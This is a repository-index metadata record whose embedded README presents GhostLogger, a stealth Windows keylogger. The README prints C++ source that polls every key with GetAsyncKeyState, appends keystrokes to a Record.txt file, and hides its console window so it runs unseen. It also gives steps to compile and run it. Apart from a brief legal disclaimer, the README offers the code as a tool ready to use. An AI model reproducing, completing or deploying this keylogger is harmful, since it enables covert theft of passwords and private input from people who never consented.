{"id":23665810,"url":"https://github.com/b3ta-blocker/ghostlogger","last_synced_at":"2025-12-08T11:30:12.956Z","repository":{"id":246051828,"uuid":"805535220","full_name":"B3TA-BLOCKER/GhostLogger","owner":"B3TA-BLOCKER","description":"GhostLogger is a hidden Windows keylogger that records keystrokes in Record.txt. For educational purposes !","archived":false,"fork":false,"pushed_at":"2024-06-30T07:01:37.000Z","size":62,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2024-12-29T06:16:06.150Z","etag":null,"topics":["background-processing","cpp","cybersecurity","educational-project","file-io","keylogger","security","system-programming","windows-api","windows-programming"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"cc0-1.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/B3TA-BLOCKER.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-05-24T19:46:28.000Z","updated_at":"2024-06-30T16:29:24.000Z","dependencies_parsed_at":"2024-06-25T15:53:51.126Z","dependency_job_id":"2f857f14-3415-40c8-bbe8-d9807ebbba8f","html_url":"https://github.com/B3TA-BLOCKER/GhostLogger","commit_stats":null,"previous_names":["b3ta-blocker/ghostlogger"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/B3TA-BLOCKER%2FGhostLogger","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/B3TA-BLOCKER%2FGhostLogger/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/B3TA-BLOCKER%2FGhostLogger/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/B3TA-BLOCKER%2FGhostLogger/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/B3TA-BLOCKER","download_url":"https://codeload.github.com/B3TA-BLOCKER/GhostLogger/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":239665891,"owners_count":19677029,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["background-processing","cpp","cybersecurity","educational-project","file-io","keylogger","security","system-programming","windows-api","windows-programming"],"created_at":"2024-12-29T06:16:31.348Z","updated_at":"2025-12-08T11:30:12.893Z","avatar_url":"https://github.com/B3TA-BLOCKER.png","language":"C++","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\n\u003cdiv align=\"center\"\u003e\n\n# GhostLogger 👻🖥️\n\n**Welcome to **GhostLogger**, a stealthy and efficient keylogging application for Windows! Designed for educational purposes and to demonstrate low-level Windows programming techniques, GhostLogger captures and records keystrokes in a hidden manner.**\n\n\u003c/div\u003e\n\n\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\n## Features 🌟\n- **Stealth Mode**: Runs invisibly in the background.\n- **Comprehensive Key Logging**: Captures a wide range of keys, including alphabetic characters, numeric keys, function keys, control keys, and special characters.\n- **Log File**: Records all keystrokes in `Record.txt`.\n\n\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\n## Project Structure 📁\n```\nGhostLogger\n├───.vscode\n│   ├───c_cpp_properties.json\n│   ├───settings.json\n│   └───tasks.json\n└───src\n    ├───main.cpp\n    └───Record.txt\n```\n\n\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\n## How It Works 🛠️\nThe main functionality is encapsulated in `main.cpp`, which includes the following key components:\n- **KeyLogger**: A function that captures keystrokes using `GetAsyncKeyState` and writes them to `Record.txt`.\n- **hide_exe**: A function that hides the console window to ensure the program runs `invisibly`.\n\n\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\n### Code Overview 👨‍💻\nHere's a brief look at the core code in `main.cpp`:\n\n```cpp\n#include \u003ciostream\u003e\n#include \u003cwindows.h\u003e\n#include \u003cwinuser.h\u003e\n#include \u003cfstream\u003e\n\n// Function prototypes\nvoid KeyLogger(void);\nvoid hide_exe(void);\n\n// main function\nint main(void)\n{\n    hide_exe();\n    KeyLogger();\n}\n\n// function to capture the keystrokes\nvoid KeyLogger(void)\n{\n    char character;\n\n    while (true)\n    {\n        for (character = 8; character \u003c= 222; character++)\n        {\n            if (GetAsyncKeyState(character) == -32767)\n            {\n                std::ofstream write(\"Record.txt\", std::ios::app);\n                if (character \u003e 64 \u0026\u0026 character \u003c 91 \u0026\u0026 !GetAsyncKeyState(0x10))\n                {\n                    character += 32;\n                    write \u003c\u003c character;\n                }\n                else if (character \u003e 64 \u0026\u0026 character \u003c 91)\n                {\n                    write \u003c\u003c character;\n                }\n\n                switch (character)\n                {\n                    case 39: // '\n                        write \u003c\u003c (GetAsyncKeyState(0x10) ? \"\\\"\" : \"'\");\n                        break;\n                    case 44: // ,\n                        write \u003c\u003c (GetAsyncKeyState(0x10) ? \"\u003c\" : \",\");\n                        break;\n                    // ... handle other cases ...\n                    case VK_RETURN: // ENTER key\n                        write \u003c\u003c \" \u003cEnter\u003e \" \u003c\u003c std::endl;\n                        break;\n                    case 32: // Space key\n                        write \u003c\u003c \" \";\n                        break;\n                    // ... handle other cases ...\n                }\n            }\n        }\n    }\n}\n\n// function to hide the exe file.\nvoid hide_exe(void)\n{\n    HWND stealth;\n    AllocConsole();\n    stealth = FindWindowA(\"ConsoleWindowClass\", NULL);\n    ShowWindow(stealth, 0);\n}\n```\n\n\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\n## Getting Started 🚀\nTo run GhostLogger on your machine, follow these steps for different operating systems:\n\n### Windows\n1. **Clone the Repository**:\n   ```sh\n   git clone https://github.com/B3TA-BLOCKER/GhostLogger.git\n   ```\n\n2. **Open and Edit the Code**:\n   - Use any text editor of your choice (e.g., Notepad++, Sublime Text, Atom, or even Notepad).\n\n3. **Compile and Run**:\n   - Ensure you have a C++ compiler installed. You can use any of the following methods:\n\n#### Using GCC (MinGW):\n\n1. **Install MinGW**: Download and install MinGW from [MinGW website](http://www.mingw.org/).\n\n2. **Compile the Code**:\n   ```sh\n   g++ src/main.cpp -o main\n   ```\n\n3. **Run the Program**:\n   ```sh\n   ./main\n   ```\n\n#### Using Visual Studio:\n\n1. **Install Visual Studio**: Download and install Visual Studio from [Visual Studio website](https://visualstudio.microsoft.com/).\n\n2. **Open the Project**:\n   - Create a new project or open an existing one.\n   - Add `main.cpp` to the project.\n\n3. **Compile and Run**:\n   - Use the build and run options within Visual Studio.\n\n### macOS and Linux\n**This project relies on `Windows-specific APIs` and functions, making it `incompatible` with macOS and Linux out of the box.** \n**As GhostLogger uses Windows-specific functions like `GetAsyncKeyState`, `AllocConsole`, and `FindWindowA`, it won't compile or run on macOS and Linux without significant modifications. The instructions above are for general C++ projects.**\n\n\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\n## Usage ⚙️\n- Once the program is running, it will operate in the background, logging all keystrokes to `Record.txt`.\n- To stop the program, you will need to end the process through Task Manager or by terminating it via your development environment.\n\n\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\n## Legal Disclaimer ⚖️\nThis project is intended for educational purposes only. Unauthorized use of keylogging software is illegal and unethical. Always ensure you have explicit permission before using this software on any device.\n\n\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\n## Connect with Me 🌐\nI'm always looking to expand my professional network and explore new opportunities. Let's connect!\n- [LinkedIn](https://www.linkedin.com/in/hassaan-ali-bukhari/)\n- [Email](mailto:hassaanalibukhari@gmail.com)\n\n\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\n## License 📜\nThis project is licensed under the Creative Commons Zero v1.0 Universal License. See the [LICENSE](LICENSE) file for details.\n\n\u003cbr\u003e\n\n\u003cimg src=\"https://user-images.githubusercontent.com/73097560/115834477-dbab4500-a447-11eb-908a-139a6edaec5c.gif\"\u003e\n\nMade by [Hassaan Ali Bukhari](https://github.com/B3TA-BLOCKER)\n\u003cbr\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fb3ta-blocker%2Fghostlogger","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fb3ta-blocker%2Fghostlogger","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fb3ta-blocker%2Fghostlogger/lists"}